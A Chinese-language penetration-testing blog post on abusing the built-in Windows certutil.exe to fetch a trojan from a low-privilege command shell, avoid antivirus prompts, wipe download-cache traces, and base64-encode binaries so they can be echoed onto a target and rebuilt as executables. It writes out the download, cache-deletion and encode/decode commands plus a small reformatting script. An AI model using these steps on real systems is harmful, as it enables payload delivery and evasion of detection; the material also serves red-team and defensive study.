前言
學習自Hack學習呀,文件上傳的一個騷操作(低權限+BypassAV)
當我們碰到有一個cmdshell,想要下載一個木馬然后直接上線,但是直接通過powershell,echo webshell,bitsadmin等方式可能會彈框提示
由於certutil還支持二進制文件的下載,可以通過certutil通過編解碼的方式將二進制文件上傳上去
文章大部分參考Snowming04,3gstudent
Certutil
Certutil 是 Windows 操作系統上預裝的工具,可用於 校驗文件MD5、SHA1、SHA256,下載惡意文件和免殺
Certutil.exe是一個命令行程序,作為證書服務的一部分安裝。您可以使用Certutil.exe轉儲和顯示證書頒發機構(CA)配置信息,配置證書服務,備份和還原CA組件以及驗證證書,密鑰對和證書鏈
常用的命令參數:
-
-f
覆蓋現有文件。
有值的命令行選項。后面跟要下載的文件 url。 -
-split
保存到文件。
無值的命令行選項。加了的話就可以下載到當前路徑,不加就下載到了默認路徑。 -
-URLCache
顯示或刪除URL緩存條目。
無值的命令行選項。
(certutil.exe 下載有個弊端,它的每一次下載都有留有緩存。) -
-encode
將文件編碼為Base64 -
-decode
解碼Base64編碼的文件
下載功能
(1)保存在當前路徑,文件名稱同URI
certutil.exe -urlcache -split -f 文件url

(2)保存在默認路徑,緩存目錄中
certutil.exe -urlcache -f 文件url

修改后綴,或者用編輯器打開就是文件內容
緩存目錄位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
(3)保存在指定路徑並且指定文件名
certutil.exe -urlcache -split -f 文件url file.txt

(4)保存二進制文件
certutil.exe -urlcache -split -f 二進制文件url
同上
清除痕跡
由於每次下載都有緩存,所以每次下載完可以帶delete命令刪除緩存
查看所有緩存
certutil.exe -urlcache *
刪除相應URL緩存
certutil.exe -urlcache -split -f 文件url delete
base64編碼轉換
base64編碼
certutil.exe -encode InFile OutFile

base64解碼
certutil.exe -decode InFile OutFile

編碼二進制文件
本地編解碼

遠程編解碼
遠程需要用echo 寫入txt中
直接復制粘貼寫入是不行的,可以去掉標識頭尾,然后去除空格,作為連貫的字符,這里用Snowming04師傅的格式轉化腳本
with open('hello.txt') as f:
with open('hello_new.txt','w') as n:
for i in f.readlines():
i = str(i.split()).strip("['").strip("']")
n.write(i)
由於命令提示符下輸入的字符有限制,因此不能直接echo寫入

可以按照Snowming04師傅的分段方法,所以工具越小越好,可以直接編解碼還原成exe或者dll等二進制文件,再執行上線
參考文章:
https://3gstudent.github.io/3gstudent.github.io/滲透測試中的certutil.exe/
https://mp.weixin.qq.com/s/Cnn5X_-LLPIKmOndD80RAA
http://blog.leanote.com/post/snowming/f883d0b49413(讀完雪師傅的文章,感覺Certutil在不出網又能命令執行的環境下能發揮較大用處)
延伸文章:
https://www.cnblogs.com/xiaozi/p/12721960.html
